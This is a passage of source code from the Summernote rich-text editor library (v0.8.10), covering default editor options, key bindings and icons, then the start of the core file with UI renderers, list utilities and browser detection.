        options.langInfo = $$1.extend(true, {}, $$1.summernote.lang['en-US'], $$1.summernote.lang[options.lang]);
        options.icons = $$1.extend(true, {}, $$1.summernote.options.icons, options.icons);
        options.tooltip = options.tooltip === 'auto' ? !env.isSupportTouch : options.tooltip;
        this.each(function (idx, note) {
            var $note = $$1(note);
            if (!$note.data('summernote')) {
                var context = new Context($note, options);
                $note.data('summernote', context);
                $note.data('summernote').triggerEvent('init', context.layoutInfo);
            }
        });
        var $note = this.first();
        if ($note.length) {
            var context = $note.data('summernote');
            if (isExternalAPICalled) {
                return context.invoke.apply(context, lists.from(arguments));
            }
            else if (options.focus) {
                context.invoke('editor.focus');
            }
        }
        return this;
    }
});

$$1.summernote = $$1.extend($$1.summernote, {
    version: '0.8.10',
    ui: ui,
    dom: dom,
    plugins: {},
    options: {
        modules: {
            'editor': Editor,
            'clipboard': Clipboard,
            'dropzone': Dropzone,
            'codeview': CodeView,
            'statusbar': Statusbar,
            'fullscreen': Fullscreen,
            'handle': Handle,
            // FIXME: HintPopover must be front of autolink
            //  - Script error about range when Enter key is pressed on hint popover
            'hintPopover': HintPopover,
            'autoLink': AutoLink,
            'autoSync': AutoSync,
            'placeholder': Placeholder,
            'buttons': Buttons,
            'toolbar': Toolbar,
            'linkDialog': LinkDialog,
            'linkPopover': LinkPopover,
            'imageDialog': ImageDialog,
            'imagePopover': ImagePopover,
            'tablePopover': TablePopover,
            'videoDialog': VideoDialog,
            'helpDialog': HelpDialog,
            'airPopover': AirPopover
        },
        buttons: {},
        lang: 'en-US',
        followingToolbar: true,
        otherStaticBar: '',
        // toolbar
        toolbar: [
            ['style', ['style']],
            ['font', ['bold', 'underline', 'clear']],
            ['fontname', ['fontname']],
            ['color', ['color']],
            ['para', ['ul', 'ol', 'paragraph']],
            ['table', ['table']],
            ['insert', ['link', 'picture', 'video']],
            ['view', ['fullscreen', 'codeview', 'help']]
        ],
        // popover
        popatmouse: true,
        popover: {
            image: [
                ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']],
                ['float', ['floatLeft', 'floatRight', 'floatNone']],
                ['remove', ['removeMedia']]
            ],
            link: [
                ['link', ['linkDialogShow', 'unlink']]
            ],
            table: [
                ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']],
                ['delete', ['deleteRow', 'deleteCol', 'deleteTable']]
            ],
            air: [
                ['color', ['color']],
                ['font', ['bold', 'underline', 'clear']],
                ['para', ['ul', 'paragraph']],
                ['table', ['table']],
                ['insert', ['link', 'picture']]
            ]
        },
        // air mode: inline editor
        airMode: false,
        width: null,
        height: null,
        linkTargetBlank: true,
        focus: false,
        tabSize: 4,
        styleWithSpan: true,
        shortcuts: true,
        textareaAutoSync: true,
        hintDirection: 'bottom',
        tooltip: 'auto',
        container: 'body',
        maxTextLength: 0,
        styleTags: [
            'p',
            { title: 'Blockquote', tag: 'blockquote', className: 'blockquote', value: 'blockquote' },
            'h1', 'h2', 'h3', 'h4', 'h5', 'h6'
        ],
        fontNames: [
            'Arial', 'Arial Black', 'Comic Sans MS', 'Courier New',
            'Helvetica Neue', 'Helvetica', 'Impact', 'Lucida Grande',
            'Tahoma', 'Times New Roman', 'Verdana'
        ],
        fontSizes: ['8', '9', '10', '11', '12', '14', '18', '24', '36'],
        // pallete colors(n x n)
        colors: [
            ['#000000', '#424242', '#636363', '#9C9C94', '#CEC6CE', '#EFEFEF', '#F7F7F7', '#FFFFFF'],
            ['#FF0000', '#FF9C00', '#FFFF00', '#00FF00', '#00FFFF', '#0000FF', '#9C00FF', '#FF00FF'],
            ['#F7C6CE', '#FFE7CE', '#FFEFC6', '#D6EFD6', '#CEDEE7', '#CEE7F7', '#D6D6E7', '#E7D6DE'],
            ['#E79C9C', '#FFC69C', '#FFE79C', '#B5D6A5', '#A5C6CE', '#9CC6EF', '#B5A5D6', '#D6A5BD'],
            ['#E76363', '#F7AD6B', '#FFD663', '#94BD7B', '#73A5AD', '#6BADDE', '#8C7BC6', '#C67BA5'],
            ['#CE0000', '#E79439', '#EFC631', '#6BA54A', '#4A7B8C', '#3984C6', '#634AA5', '#A54A7B'],
            ['#9C0000', '#B56308', '#BD9400', '#397B21', '#104A5A', '#085294', '#311873', '#731842'],
            ['#630000', '#7B3900', '#846300', '#295218', '#083139', '#003163', '#21104A', '#4A1031']
        ],
        // http://chir.ag/projects/name-that-color/
        colorsName: [
            ['Black', 'Tundora', 'Dove Gray', 'Star Dust', 'Pale Slate', 'Gallery', 'Alabaster', 'White'],
            ['Red', 'Orange Peel', 'Yellow', 'Green', 'Cyan', 'Blue', 'Electric Violet', 'Magenta'],
            ['Azalea', 'Karry', 'Egg White', 'Zanah', 'Botticelli', 'Tropical Blue', 'Mischka', 'Twilight'],
            ['Tonys Pink', 'Peach Orange', 'Cream Brulee', 'Sprout', 'Casper', 'Perano', 'Cold Purple', 'Careys Pink'],
            ['Mandy', 'Rajah', 'Dandelion', 'Olivine', 'Gulf Stream', 'Viking', 'Blue Marguerite', 'Puce'],
            ['Guardsman Red', 'Fire Bush', 'Golden Dream', 'Chelsea Cucumber', 'Smalt Blue', 'Boston Blue', 'Butterfly Bush', 'Cadillac'],
            ['Sangria', 'Mai Tai', 'Buddha Gold', 'Forest Green', 'Eden', 'Venice Blue', 'Meteorite', 'Claret'],
            ['Rosewood', 'Cinnamon', 'Olive', 'Parsley', 'Tiber', 'Midnight Blue', 'Valentino', 'Loulou']
        ],
        lineHeights: ['1.0', '1.2', '1.4', '1.5', '1.6', '1.8', '2.0', '3.0'],
        tableClassName: 'table table-bordered',
        insertTableMaxSize: {
            col: 10,
            row: 10
        },
        dialogsInBody: false,
        dialogsFade: false,
        maximumImageFileSize: null,
        callbacks: {
            onInit: null,
            onFocus: null,
            onBlur: null,
            onBlurCodeview: null,
            onEnter: null,
            onKeyup: null,
            onKeydown: null,
            onImageUpload: null,
            onImageUploadError: null
        },
        codemirror: {
            mode: 'text/html',
            htmlMode: true,
            lineNumbers: true
        },
        keyMap: {
            pc: {
                'ENTER': 'insertParagraph',
                'CTRL+Z': 'undo',
                'CTRL+Y': 'redo',
                'TAB': 'tab',
                'SHIFT+TAB': 'untab',
                'CTRL+B': 'bold',
                'CTRL+I': 'italic',
                'CTRL+U': 'underline',
                'CTRL+SHIFT+S': 'strikethrough',
                'CTRL+BACKSLASH': 'removeFormat',
                'CTRL+SHIFT+L': 'justifyLeft',
                'CTRL+SHIFT+E': 'justifyCenter',
                'CTRL+SHIFT+R': 'justifyRight',
                'CTRL+SHIFT+J': 'justifyFull',
                'CTRL+SHIFT+NUM7': 'insertUnorderedList',
                'CTRL+SHIFT+NUM8': 'insertOrderedList',
                'CTRL+LEFTBRACKET': 'outdent',
                'CTRL+RIGHTBRACKET': 'indent',
                'CTRL+NUM0': 'formatPara',
                'CTRL+NUM1': 'formatH1',
                'CTRL+NUM2': 'formatH2',
                'CTRL+NUM3': 'formatH3',
                'CTRL+NUM4': 'formatH4',
                'CTRL+NUM5': 'formatH5',
                'CTRL+NUM6': 'formatH6',
                'CTRL+ENTER': 'insertHorizontalRule',
                'CTRL+K': 'linkDialog.show'
            },
            mac: {
                'ENTER': 'insertParagraph',
                'CMD+Z': 'undo',
                'CMD+SHIFT+Z': 'redo',
                'TAB': 'tab',
                'SHIFT+TAB': 'untab',
                'CMD+B': 'bold',
                'CMD+I': 'italic',
                'CMD+U': 'underline',
                'CMD+SHIFT+S': 'strikethrough',
                'CMD+BACKSLASH': 'removeFormat',
                'CMD+SHIFT+L': 'justifyLeft',
                'CMD+SHIFT+E': 'justifyCenter',
                'CMD+SHIFT+R': 'justifyRight',
                'CMD+SHIFT+J': 'justifyFull',
                'CMD+SHIFT+NUM7': 'insertUnorderedList',
                'CMD+SHIFT+NUM8': 'insertOrderedList',
                'CMD+LEFTBRACKET': 'outdent',
                'CMD+RIGHTBRACKET': 'indent',
                'CMD+NUM0': 'formatPara',
                'CMD+NUM1': 'formatH1',
                'CMD+NUM2': 'formatH2',
                'CMD+NUM3': 'formatH3',
                'CMD+NUM4': 'formatH4',
                'CMD+NUM5': 'formatH5',
                'CMD+NUM6': 'formatH6',
                'CMD+ENTER': 'insertHorizontalRule',
                'CMD+K': 'linkDialog.show'
            }
        },
        icons: {
            'align': 'note-icon-align',
            'alignCenter': 'note-icon-align-center',
            'alignJustify': 'note-icon-align-justify',
            'alignLeft': 'note-icon-align-left',
            'alignRight': 'note-icon-align-right',
            'rowBelow': 'note-icon-row-below',
            'colBefore': 'note-icon-col-before',
            'colAfter': 'note-icon-col-after',
            'rowAbove': 'note-icon-row-above',
            'rowRemove': 'note-icon-row-remove',
            'colRemove': 'note-icon-col-remove',
            'indent': 'note-icon-align-indent',
            'outdent': 'note-icon-align-outdent',
            'arrowsAlt': 'note-icon-arrows-alt',
            'bold': 'note-icon-bold',
            'caret': 'note-icon-caret',
            'circle': 'note-icon-circle',
            'close': 'note-icon-close',
            'code': 'note-icon-code',
            'eraser': 'note-icon-eraser',
            'font': 'note-icon-font',
            'frame': 'note-icon-frame',
            'italic': 'note-icon-italic',
            'link': 'note-icon-link',
            'unlink': 'note-icon-chain-broken',
            'magic': 'note-icon-magic',
            'menuCheck': 'note-icon-menu-check',
            'minus': 'note-icon-minus',
            'orderedlist': 'note-icon-orderedlist',
            'pencil': 'note-icon-pencil',
            'picture': 'note-icon-picture',
            'question': 'note-icon-question',
            'redo': 'note-icon-redo',
            'square': 'note-icon-square',
            'strikethrough': 'note-icon-strikethrough',
            'subscript': 'note-icon-subscript',
            'superscript': 'note-icon-superscript',
            'table': 'note-icon-table',
            'textHeight': 'note-icon-text-height',
            'trash': 'note-icon-trash',
            'underline': 'note-icon-underline',
            'undo': 'note-icon-undo',
            'unorderedlist': 'note-icon-unorderedlist',
            'video': 'note-icon-video'
        }
    }
});

})));
//# sourceMappingURL=summernote-bs4.js.map
summernote.js000064400001022735151677331550007327 0ustar00/**
 * Super simple wysiwyg editor v0.8.10
 * https://summernote.org
 *
 * Copyright 2013- Alan Hong. and other contributors
 * summernote may be freely distributed under the MIT license.
 *
 * Date: 2018-02-20T00:34Z
 */
(function (global, factory) {
	typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('jquery')) :
	typeof define === 'function' && define.amd ? define(['jquery'], factory) :
	(factory(global.jQuery));
}(this, (function ($$1) { 'use strict';

$$1 = $$1 && $$1.hasOwnProperty('default') ? $$1['default'] : $$1;

var Renderer = /** @class */ (function () {
    function Renderer(markup, children, options, callback) {
        this.markup = markup;
        this.children = children;
        this.options = options;
        this.callback = callback;
    }
    Renderer.prototype.render = function ($parent) {
        var $node = $$1(this.markup);
        if (this.options && this.options.contents) {
            $node.html(this.options.contents);
        }
        if (this.options && this.options.className) {
            $node.addClass(this.options.className);
        }
        if (this.options && this.options.data) {
            $$1.each(this.options.data, function (k, v) {
                $node.attr('data-' + k, v);
            });
        }
        if (this.options && this.options.click) {
            $node.on('click', this.options.click);
        }
        if (this.children) {
            var $container_1 = $node.find('.note-children-container');
            this.children.forEach(function (child) {
                child.render($container_1.length ? $container_1 : $node);
            });
        }
        if (this.callback) {
            this.callback($node, this.options);
        }
        if (this.options && this.options.callback) {
            this.options.callback($node);
        }
        if ($parent) {
            $parent.append($node);
        }
        return $node;
    };
    return Renderer;
}());
var renderer = {
    create: function (markup, callback) {
        return function () {
            var options = typeof arguments[1] === 'object' ? arguments[1] : arguments[0];
            var children = $$1.isArray(arguments[0]) ? arguments[0] : [];
            if (options && options.children) {
                children = options.children;
            }
            return new Renderer(markup, children, options, callback);
        };
    }
};

var editor = renderer.create('<div class="note-editor note-frame panel"/>');
var toolbar = renderer.create('<div class="note-toolbar-wrapper panel-default"><div class="note-toolbar panel-heading" role="toolbar"></div></div>');
var editingArea = renderer.create('<div class="note-editing-area"/>');
var codable = renderer.create('<textarea class="note-codable" role="textbox" aria-multiline="true"/>');
var editable = renderer.create('<div class="note-editable" contentEditable="true" role="textbox" aria-multiline="true"/>');
var statusbar = renderer.create([
    '<output class="note-status-output" aria-live="polite"/>',
    '<div class="note-statusbar" role="status">',
    '  <div class="note-resizebar" role="seperator" aria-orientation="horizontal" aria-label="Resize">',
    '    <div class="note-icon-bar"/>',
    '    <div class="note-icon-bar"/>',
    '    <div class="note-icon-bar"/>',
    '  </div>',
    '</div>'
].join(''));
var airEditor = renderer.create('<div class="note-editor"/>');
var airEditable = renderer.create([
    '  <output class="note-status-output" aria-live="polite"/>',
    '<div class="note-editable" contentEditable="true" role="textbox" aria-multiline="true"/>'
].join(''));
var buttonGroup = renderer.create('<div class="note-btn-group btn-group">');
var dropdown = renderer.create('<ul class="dropdown-menu" role="list">', function ($node, options) {
    var markup = $$1.isArray(options.items) ? options.items.map(function (item) {
        var value = (typeof item === 'string') ? item : (item.value || '');
        var content = options.template ? options.template(item) : item;
        var option = (typeof item === 'object') ? item.option : undefined;
        var dataValue = 'data-value="' + value + '"';
        var dataOption = (option !== undefined) ? ' data-option="' + option + '"' : '';
        return '<li role="listitem" aria-label="' + item + '"><a href="#" ' + (dataValue + dataOption) + '>' + content + '</a></li>';
    }).join('') : options.items;
    $node.html(markup).attr({ 'aria-label': options.title });
});
var dropdownButtonContents = function (contents, options) {
    return contents + ' ' + icon(options.icons.caret, 'span');
};
var dropdownCheck = renderer.create('<ul class="dropdown-menu note-check" role="list">', function ($node, options) {
    var markup = $$1.isArray(options.items) ? options.items.map(function (item) {
        var value = (typeof item === 'string') ? item : (item.value || '');
        var content = options.template ? options.template(item) : item;
        return '<li role="listitem" aria-label="' + item + '"><a href="#" data-value="' + value + '">' + icon(options.checkClassName) + ' ' + content + '</a></li>';
    }).join('') : options.items;
    $node.html(markup).attr({ 'aria-label': options.title });
});
var palette = renderer.create('<div class="note-color-palette"/>', function ($node, options) {
    var contents = [];
    for (var row = 0, rowSize = options.colors.length; row < rowSize; row++) {
        var eventName = options.eventName;
        var colors = options.colors[row];
        var colorsName = options.colorsName[row];
        var buttons = [];
        for (var col = 0, colSize = colors.length; col < colSize; col++) {
            var color = colors[col];
            var colorName = colorsName[col];
            buttons.push([
                '<button type="button" class="note-color-btn"',
                'style="background-color:', color, '" ',
                'data-event="', eventName, '" ',
                'data-value="', color, '" ',
                'title="', colorName, '" ',
                'aria-label="', colorName, '" ',
                'data-toggle="button" tabindex="-1"></button>'
            ].join(''));
        }
        contents.push('<div class="note-color-row">' + buttons.join('') + '</div>');
    }
    $node.html(contents.join(''));
    if (options.tooltip) {
        $node.find('.note-color-btn').tooltip({
            container: options.container,
            trigger: 'hover',
            placement: 'bottom'
        });
    }
});
var dialog = renderer.create('<div class="modal" aria-hidden="false" tabindex="-1" role="dialog"/>', function ($node, options) {
    if (options.fade) {
        $node.addClass('fade');
    }
    $node.attr({
        'aria-label': options.title
    });
    $node.html([
        '<div class="modal-dialog">',
        '  <div class="modal-content">',
        (options.title
            ? '    <div class="modal-header">' +
                '      <button type="button" class="close" data-dismiss="modal" aria-label="Close" aria-hidden="true">&times;</button>' +
                '      <h4 class="modal-title">' + options.title + '</h4>' +
                '    </div>' : ''),
        '    <div class="modal-body">' + options.body + '</div>',
        (options.footer
            ? '    <div class="modal-footer">' + options.footer + '</div>' : ''),
        '  </div>',
        '</div>'
    ].join(''));
});
var popover = renderer.create([
    '<div class="note-popover popover in">',
    '  <div class="arrow"/>',
    '  <div class="popover-content note-children-container"/>',
    '</div>'
].join(''), function ($node, options) {
    var direction = typeof options.direction !== 'undefined' ? options.direction : 'bottom';
    $node.addClass(direction);
    if (options.hideArrow) {
        $node.find('.arrow').hide();
    }
});
var checkbox = renderer.create('<div class="checkbox"></div>', function ($node, options) {
    $node.html([
        ' <label' + (options.id ? ' for="' + options.id + '"' : '') + '>',
        ' <input role="checkbox" type="checkbox"' + (options.id ? ' id="' + options.id + '"' : ''),
        (options.checked ? ' checked' : ''),
        ' aria-checked="' + (options.checked ? 'true' : 'false') + '"/>',
        (options.text ? options.text : ''),
        '</label>'
    ].join(''));
});
var icon = function (iconClassName, tagName) {
    tagName = tagName || 'i';
    return '<' + tagName + ' class="' + iconClassName + '"/>';
};
var ui = {
    editor: editor,
    toolbar: toolbar,
    editingArea: editingArea,
    codable: codable,
    editable: editable,
    statusbar: statusbar,
    airEditor: airEditor,
    airEditable: airEditable,
    buttonGroup: buttonGroup,
    dropdown: dropdown,
    dropdownButtonContents: dropdownButtonContents,
    dropdownCheck: dropdownCheck,
    palette: palette,
    dialog: dialog,
    popover: popover,
    checkbox: checkbox,
    icon: icon,
    options: {},
    button: function ($node, options) {
        return renderer.create('<button type="button" class="note-btn btn btn-default btn-sm" role="button" tabindex="-1">', function ($node, options) {
            if (options && options.tooltip) {
                $node.attr({
                    title: options.tooltip,
                    'aria-label': options.tooltip
                }).tooltip({
                    container: options.container,
                    trigger: 'hover',
                    placement: 'bottom'
                });
            }
        })($node, options);
    },
    toggleBtn: function ($btn, isEnable) {
        $btn.toggleClass('disabled', !isEnable);
        $btn.attr('disabled', !isEnable);
    },
    toggleBtnActive: function ($btn, isActive) {
        $btn.toggleClass('active', isActive);
    },
    onDialogShown: function ($dialog, handler) {
        $dialog.one('shown.bs.modal', handler);
    },
    onDialogHidden: function ($dialog, handler) {
        $dialog.one('hidden.bs.modal', handler);
    },
    showDialog: function ($dialog) {
        $dialog.modal('show');
    },
    hideDialog: function ($dialog) {
        $dialog.modal('hide');
    },
    createLayout: function ($note, options) {
        var $editor = (options.airMode ? ui.airEditor([
            ui.editingArea([
                ui.airEditable()
            ])
        ]) : ui.editor([
            ui.toolbar(),
            ui.editingArea([
                ui.codable(),
                ui.editable()
            ]),
            ui.statusbar()
        ])).render();
        $editor.insertAfter($note);
        return {
            note: $note,
            editor: $editor,
            toolbar: $editor.find('.note-toolbar'),
            editingArea: $editor.find('.note-editing-area'),
            editable: $editor.find('.note-editable'),
            codable: $editor.find('.note-codable'),
            statusbar: $editor.find('.note-statusbar')
        };
    },
    removeLayout: function ($note, layoutInfo) {
        $note.html(layoutInfo.editable.html());
        layoutInfo.editor.remove();
        $note.show();
    }
};

/**
 * @class core.func
 *
 * func utils (for high-order func's arg)
 *
 * @singleton
 * @alternateClassName func
 */
function eq(itemA) {
    return function (itemB) {
        return itemA === itemB;
    };
}
function eq2(itemA, itemB) {
    return itemA === itemB;
}
function peq2(propName) {
    return function (itemA, itemB) {
        return itemA[propName] === itemB[propName];
    };
}
function ok() {
    return true;
}
function fail() {
    return false;
}
function not(f) {
    return function () {
        return !f.apply(f, arguments);
    };
}
function and(fA, fB) {
    return function (item) {
        return fA(item) && fB(item);
    };
}
function self(a) {
    return a;
}
function invoke(obj, method) {
    return function () {
        return obj[method].apply(obj, arguments);
    };
}
var idCounter = 0;
/**
 * generate a globally-unique id
 *
 * @param {String} [prefix]
 */
function uniqueId(prefix) {
    var id = ++idCounter + '';
    return prefix ? prefix + id : id;
}
/**
 * returns bnd (bounds) from rect
 *
 * - IE Compatibility Issue: http://goo.gl/sRLOAo
 * - Scroll Issue: http://goo.gl/sNjUc
 *
 * @param {Rect} rect
 * @return {Object} bounds
 * @return {Number} bounds.top
 * @return {Number} bounds.left
 * @return {Number} bounds.width
 * @return {Number} bounds.height
 */
function rect2bnd(rect) {
    var $document = $(document);
    return {
        top: rect.top + $document.scrollTop(),
        left: rect.left + $document.scrollLeft(),
        width: rect.right - rect.left,
        height: rect.bottom - rect.top
    };
}
/**
 * returns a copy of the object where the keys have become the values and the values the keys.
 * @param {Object} obj
 * @return {Object}
 */
function invertObject(obj) {
    var inverted = {};
    for (var key in obj) {
        if (obj.hasOwnProperty(key)) {
            inverted[obj[key]] = key;
        }
    }
    return inverted;
}
/**
 * @param {String} namespace
 * @param {String} [prefix]
 * @return {String}
 */
function namespaceToCamel(namespace, prefix) {
    prefix = prefix || '';
    return prefix + namespace.split('.').map(function (name) {
        return name.substring(0, 1).toUpperCase() + name.substring(1);
    }).join('');
}
/**
 * Returns a function, that, as long as it continues to be invoked, will not
 * be triggered. The function will be called after it stops being called for
 * N milliseconds. If `immediate` is passed, trigger the function on the
 * leading edge, instead of the trailing.
 * @param {Function} func
 * @param {Number} wait
 * @param {Boolean} immediate
 * @return {Function}
 */
function debounce(func, wait, immediate) {
    var _this = this;
    var timeout;
    return function () {
        var context = _this;
        var args = arguments;
        var later = function () {
            timeout = null;
            if (!immediate) {
                func.apply(context, args);
            }
        };
        var callNow = immediate && !timeout;
        clearTimeout(timeout);
        timeout = setTimeout(later, wait);
        if (callNow) {
            func.apply(context, args);
        }
    };
}
var func = {
    eq: eq,
    eq2: eq2,
    peq2: peq2,
    ok: ok,
    fail: fail,
    self: self,
    not: not,
    and: and,
    invoke: invoke,
    uniqueId: uniqueId,
    rect2bnd: rect2bnd,
    invertObject: invertObject,
    namespaceToCamel: namespaceToCamel,
    debounce: debounce
};

/**
 * returns the first item of an array.
 *
 * @param {Array} array
 */
function head(array) {
    return array[0];
}
/**
 * returns the last item of an array.
 *
 * @param {Array} array
 */
function last(array) {
    return array[array.length - 1];
}
/**
 * returns everything but the last entry of the array.
 *
 * @param {Array} array
 */
function initial(array) {
    return array.slice(0, array.length - 1);
}
/**
 * returns the rest of the items in an array.
 *
 * @param {Array} array
 */
function tail(array) {
    return array.slice(1);
}
/**
 * returns item of array
 */
function find(array, pred) {
    for (var idx = 0, len = array.length; idx < len; idx++) {
        var item = array[idx];
        if (pred(item)) {
            return item;
        }
    }
}
/**
 * returns true if all of the values in the array pass the predicate truth test.
 */
function all(array, pred) {
    for (var idx = 0, len = array.length; idx < len; idx++) {
        if (!pred(array[idx])) {
            return false;
        }
    }
    return true;
}
/**
 * returns index of item
 */
function indexOf(array, item) {
    return $$1.inArray(item, array);
}
/**
 * returns true if the value is present in the list.
 */
function contains(array, item) {
    return indexOf(array, item) !== -1;
}
/**
 * get sum from a list
 *
 * @param {Array} array - array
 * @param {Function} fn - iterator
 */
function sum(array, fn) {
    fn = fn || func.self;
    return array.reduce(function (memo, v) {
        return memo + fn(v);
    }, 0);
}
/**
 * returns a copy of the collection with array type.
 * @param {Collection} collection - collection eg) node.childNodes, ...
 */
function from(collection) {
    var result = [];
    var length = collection.length;
    var idx = -1;
    while (++idx < length) {
        result[idx] = collection[idx];
    }
    return result;
}
/**
 * returns whether list is empty or not
 */
function isEmpty$1(array) {
    return !array || !array.length;
}
/**
 * cluster elements by predicate function.
 *
 * @param {Array} array - array
 * @param {Function} fn - predicate function for cluster rule
 * @param {Array[]}
 */
function clusterBy(array, fn) {
    if (!array.length) {
        return [];
    }
    var aTail = tail(array);
    return aTail.reduce(function (memo, v) {
        var aLast = last(memo);
        if (fn(last(aLast), v)) {
            aLast[aLast.length] = v;
        }
        else {
            memo[memo.length] = [v];
        }
        return memo;
    }, [[head(array)]]);
}
/**
 * returns a copy of the array with all false values removed
 *
 * @param {Array} array - array
 * @param {Function} fn - predicate function for cluster rule
 */
function compact(array) {
    var aResult = [];
    for (var idx = 0, len = array.length; idx < len; idx++) {
        if (array[idx]) {
            aResult.push(array[idx]);
        }
    }
    return aResult;
}
/**
 * produces a duplicate-free version of the array
 *
 * @param {Array} array
 */
function unique(array) {
    var results = [];
    for (var idx = 0, len = array.length; idx < len; idx++) {
        if (!contains(results, array[idx])) {
            results.push(array[idx]);
        }
    }
    return results;
}
/**
 * returns next item.
 * @param {Array} array
 */
function next(array, item) {
    var idx = indexOf(array, item);
    if (idx === -1) {
        return null;
    }
    return array[idx + 1];
}
/**
 * returns prev item.
 * @param {Array} array
 */
function prev(array, item) {
    var idx = indexOf(array, item);
    if (idx === -1) {
        return null;
    }
    return array[idx - 1];
}
/**
 * @class core.list
 *
 * list utils
 *
 * @singleton
 * @alternateClassName list
 */
var lists = {
    head: head,
    last: last,
    initial: initial,
    tail: tail,
    prev: prev,
    next: next,
    find: find,
    contains: contains,
    all: all,
    sum: sum,
    from: from,
    isEmpty: isEmpty$1,
    clusterBy: clusterBy,
    compact: compact,
    unique: unique
};

var isSupportAmd = typeof define === 'function' && define.amd; // eslint-disable-line
/**
 * returns whether font is installed or not.
 *
 * @param {String} fontName
 * @return {Boolean}
 */
function isFontInstalled(fontName) {
    var testFontName = fontName === 'Comic Sans MS' ? 'Courier New' : 'Comic Sans MS';
    var $tester = $$1('<div>').css({
        position: 'absolute',
        left: '-9999px',
        top: '-9999px',
        fontSize: '200px'
    }).text('mmmmmmmmmwwwwwww').appendTo(document.body);
    var originalWidth = $tester.css('fontFamily', testFontName).width();
    var width = $tester.css('fontFamily', fontName + ',' + testFontName).width();
    $tester.remove();
    return originalWidth !== width;
}
var userAgent = navigator.userAgent;
var isMSIE = /MSIE|Trident/i.test(userAgent);
var browserVersion;
if (isMSIE) {
    var matches = /MSIE (\d+[.]\d+)/.exec(userAgent);
    if (matches) {
        browserVersion = parseFloat(matches[1]);
    }
    matches = /Trident\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(userAgent);
    if (matches) {
        browserVersion = parseFloat(matches[1]);
    }
}
var isEdge = /Edge\/\d+/.test(userAgent);
var hasCodeMirror = !!window.CodeMirror;
if (!hasCodeMirror && isSupportAmd) {
    // Webpack
    if (typeof __webpack_require__ === 'function') {
        try {
            // If CodeMirror can't be resolved, `require.resolve` will throw an
            // exception and `hasCodeMirror` won't be set to `true`.
            require.resolve('codemirror');
            hasCodeMirror = true;
        }
        catch (e) {
            // do nothing
        }
    }
    else if (typeof require !== 'undefined') {
        // Browserify
        if (typeof require.resolve !== 'undefined') {
            try {
                // If CodeMirror can't be resolved, `require.resolve` will throw an
                // exception and `hasCodeMirror` won't be set to `true`.
                require.resolve('codemirror');
                hasCodeMirror = true;
            }
            catch (e) {
                // do nothing
            }
            // Almond/Require
        }
        else if (typeof require.specified !== 'undefined') {
            hasCodeMirror = require.specified('codemirror');
        }
    }
}
var isSupportTouch = (('ontouchstart' in window) ||
    (navigator.MaxTouchPoints > 0) ||
    (navigator.msMaxTouchPoints > 0));
// [workaround] IE doesn't have input events for contentEditable
// - see: https://goo.gl/4bfIvA
var inputEventName = (isMSIE || isEdge) ? 'DOMCharacterDataModified DOMSubtreeModified DOMNodeInserted' : 'input';
/**
 * @class core.env
 *
 * Object which check platform and agent
 *
 * @singleton
 * @alternateClassName env
 */
var env = {
    isMac: navigator.appVersion.indexOf('Mac') > -1,
    isMSIE: isMSIE,
    isEdge: isEdge,
    isFF: !isEdge && /firefox/i.test(userAgent),
    isPhantom: /PhantomJS/i.test(userAgent),
    isWebkit: !isEdge && /webkit/i.test(userAgent),
    isChrome: !isEdge && /chrome/i.test(userAgent),
    isSafari: !isEdge && /safari/i.test(userAgent),
    browserVersion: browserVersion,
    jqueryVersion: parseFloat($$1.fn.jquery),
    isSupportAmd: isSupportAmd,
    isSupportTouch: isSupportTouch,
    hasCodeMirror: hasCodeMirror,
    isFontInstalled: isFontInstalled,
    isW3CRangeSupport: !!document.createRange,
    inputEventName: inputEventName
};

var NBSP_CHAR = String.fromCharCode(160);
var ZERO_WIDTH_NBSP_CHAR = '\ufeff';
/**
 * @method isEditable
 *
 * returns whether node is `note-editable` or not.
 *
 * @param {Node} node
 * @return {Boolean}
 */
function isEditable(node) {
    return node && $$1(node).hasClass('note-editable');
}
/**
 * @method isControlSizing
 *
 * returns whether node is `note-control-sizing` or not.
 *
 * @param {Node} node
 * @return {Boolean}
 */
function isControlSizing(node) {
    return node && $$1(node).hasClass('note-control-sizing');
}
/**
 * @method makePredByNodeName
 *
 * returns predicate which judge whether nodeName is same
 *
 * @param {String} nodeName
 * @return {Function}
 */
function makePredByNodeName(nodeName) {
    nodeName = nodeName.toUpperCase();
    return function (node) {
        return node && node.nodeName.toUpperCase() === nodeName;
    };
}
/**
 * @method isText
 *
 *
 *
 * @param {Node} node
 * @return {Boolean} true if node's type is text(3)
 */
function isText(node) {
    return node && node.nodeType === 3;
}
/**
 * @method isElement
 *
 *
 *
 * @param {Node} node
 * @return {Boolean} true if node's type is element(1)
 */
function isElement(node) {
    return node && node.nodeType === 1;
}
/**
 * ex) br, col, embed, hr, img, input, ...
 * @see http://www.w3.org/html/wg/drafts/html/master/syntax.html#void-elements
 */
function isVoid(node) {
    return node && /^BR|^IMG|^HR|^IFRAME|^BUTTON|^INPUT/.test(node.nodeName.toUpperCase());
}
function isPara(node) {
    if (isEditable(node)) {
        return false;
    }
    // Chrome(v31.0), FF(v25.0.1) use DIV for paragraph
    return node && /^DIV|^P|^LI|^H[1-7]/.test(node.nodeName.toUpperCase());
}
function isHeading(node) {
    return node && /^H[1-7]/.test(node.nodeName.toUpperCase());
}
var isPre = makePredByNodeName('PRE');
var isLi = makePredByNodeName('LI');
function isPurePara(node) {
    return isPara(node) && !isLi(node);
}
var isTable = makePredByNodeName('TABLE');
var isData = makePredByNodeName('DATA');
function isInline(node) {
    return !isBodyContainer(node) &&
        !isList(node) &&
        !isHr(node) &&
        !isPara(node) &&
        !isTable(node) &&
        !isBlockquote(node) &&
        !isData(node);
}
function isList(node) {
    return node && /^UL|^OL/.test(node.nodeName.toUpperCase());
}
var isHr = makePredByNodeName('HR');
function isCell(node) {
    return node && /^TD|^TH/.test(node.nodeName.toUpperCase());
}
var isBlockquote = makePredByNodeName('BLOCKQUOTE');
function isBodyContainer(node) {
    return isCell(node) || isBlockquote(node) || isEditable(node);
}
var isAnchor = makePredByNodeName('A');
function isParaInline(node) {
    return isInline(node) && !!ancestor(node, isPara);
}
function isBodyInline(node) {
    return isInline(node) && !ancestor(node, isPara);
}
var isBody = makePredByNodeName('BODY');
/**
 * returns whether nodeB is closest sibling of nodeA
 *
 * @param {Node} nodeA
 * @param {Node} nodeB
 * @return {Boolean}
 */
function isClosestSibling(nodeA, nodeB) {
    return nodeA.nextSibling === nodeB ||
        nodeA.previousSibling === nodeB;
}
/**
